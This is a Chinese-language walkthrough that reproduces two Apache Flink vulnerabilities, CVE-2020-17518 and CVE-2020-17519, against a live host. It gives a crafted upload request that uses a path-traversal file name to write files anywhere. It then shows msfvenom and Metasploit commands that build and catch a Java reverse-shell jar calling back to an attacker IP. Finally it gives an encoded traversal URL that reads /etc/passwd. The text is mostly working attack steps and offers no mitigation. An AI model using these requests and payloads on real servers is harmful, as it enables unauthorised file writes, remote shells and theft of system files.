Apache Flink漏洞复现

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。

CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。

CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。

影响版本

CVE-2020-17518

Apache:Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

漏洞复现

任意文件上传(CVE-2020-17518)复现:

构造上传包可以上传文件到任意目录。

POST /jars/upload HTTP/1.1
Host: docker.h-k.pw:57767
Content-Length: 224
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjGw9ieKoYNMEupLC
Origin: http://docker.h-k.pw:57767
Referer: http://docker.h-k.pw:57767/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176ad07b2401f2-0c7e80761c03b7-c791039-100200-176ad07b241383
Connection: close

------WebKitFormBoundaryjGw9ieKoYNMEupLC
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/QAX"
Content-Type: application/octet-stream

QAXNB!

------WebKitFormBoundaryjGw9ieKoYNMEupLC--

image.png

虽然返回错误,但是实际上是已经上传成功了的。

image.png

能上传没有什么实质性的危害,但是了解到Flink可以上传任意jar包并执行,尝试一下能不能直接反弹shell。研究了半个小时之后,发现CS不知道什么原因无法上线,最终选择使用MSF上线成功。

首先使用msf内置模块生成一个马

#生成马
msfvenom -p java/shell_reverse_tcp lhost=129.226.x.x lport=8099 -f jar >/home/a.jar

#监听端口
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 129.226.x.x
set LPORT 8099
exploit

然后按照下图方式操作

接着就能上线了

image.png

任意文件读取(CVE-2020-17519)复现:

任意读取文件

http://docker.h-k.pw:57767//jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

image.png